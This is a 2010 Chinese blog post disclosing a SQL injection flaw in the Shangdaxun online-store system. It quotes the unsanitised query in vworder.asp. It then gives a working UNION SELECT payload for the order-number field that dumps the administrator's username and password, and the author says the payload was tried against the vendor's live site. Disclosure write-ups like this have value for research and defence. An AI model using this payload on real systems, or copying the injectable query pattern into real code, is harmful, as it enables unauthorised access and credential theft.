商达讯网店系统淘宝拍拍分店版注射

2010, October 20, 1:16 AM. 漏洞分析
Submitted by admin

作者:Lan3a

官网:http://www.sungoto.com/
程序我感觉是抄袭的。不过又说不出来,到底抄袭的哪个程序。
先随便看了下代码,发现到了每一个变量都用了

SafeRequest()

这个函数来检查。
看了下,才发现原来是这个作用。

Function SafeRequest(ParaName,ParaType)
       Dim ParaValue
       ParaValue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(ParaValue) then
                     Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","''")
       End if
       SafeRequest=ParaValue
End function



这个时候凡是遇到有SafeRequest()的我都没去看了。
就这样我找到了vworder.asp这个文件,这个文件里的变量没有做任何检查就执行了查询。

<%dim goods
goods=request.form("searchkey")
set rs=server.CreateObject("adodb.recordset")
rs.open "select id,name,price1,score,price2,vipprice,actiondate,UserSex,realname,receipt,goods,postcode,comments,comment,remarks,paymethord,deliverymethord,state,paid,priced,useremail,usertel,address,productnum from  orders  where goods='"&goods&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "<center>查无此订单!</center>"
response.End
end if
%>


由于是post提交。所以我们来到searchorder.asp页面
大小: 39.59 K
尺寸: 500 x 278
浏览: 43 次
点击打开新窗口浏览全图


在订单号里输入:
1' and 1=2 union select 1,2,3,4,5,6,userpassword,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22,23,24 from admin where ''='
然后会发现管理员的用户密码被爆了出来~官网测试如下:
大小: 33.08 K
尺寸: 500 x 409
浏览: 46 次
点击打开新窗口浏览全图


最后我发现官网所有的程序都有这个漏洞,但需要更改查询的语句才能爆出密码。
 

Tags: 商达讯

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):